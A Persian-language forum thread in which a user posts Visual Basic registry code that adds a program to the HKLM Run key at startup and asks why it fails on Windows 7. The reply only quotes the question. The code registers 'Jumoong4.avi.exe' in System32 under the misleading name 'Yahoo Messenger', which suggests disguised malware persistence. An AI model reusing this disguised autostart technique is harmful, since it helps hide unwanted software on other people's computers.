m2011kh
جمعه 12 مهر 1392, 12:35 عصر
سلام و خسته نباشید خدمت دوستان.
من قبلا از این کد برای ایجاد کردن مقداری در رجیستری(قرار دادن برنامه در استارت اپ) استفاده میکردم:
ماژول:
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
کد:
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
Dim retvalue As Long
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
Retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_WRITE, hregkey)
stringbuffer = a & "\System32\Jumoong4.avi.exe" & vbNullChar
Retval = RegSetValueEx(hregkey, "Yahoo Messenger", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
خب قبلا رو ویندوز XP تست شده و هیچ مشکلی نداره.
منتهی الان میخوام روی ویندوز 7 استفاده کنم و این کد کار نمیکنه.در ضمن برنامه پرتابل هست و نمیتونم از کامپوننت یا رفرنس خاصّی استفاده کنم.
یه کم عجله دارم.
موفق و سربلند باشید.
MMD
من قبلا از این کد برای ایجاد کردن مقداری در رجیستری(قرار دادن برنامه در استارت اپ) استفاده میکردم:
ماژول:
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
کد:
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
Dim retvalue As Long
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
Retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_WRITE, hregkey)
stringbuffer = a & "\System32\Jumoong4.avi.exe" & vbNullChar
Retval = RegSetValueEx(hregkey, "Yahoo Messenger", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
خب قبلا رو ویندوز XP تست شده و هیچ مشکلی نداره.
منتهی الان میخوام روی ویندوز 7 استفاده کنم و این کد کار نمیکنه.در ضمن برنامه پرتابل هست و نمیتونم از کامپوننت یا رفرنس خاصّی استفاده کنم.
یه کم عجله دارم.
موفق و سربلند باشید.
MMD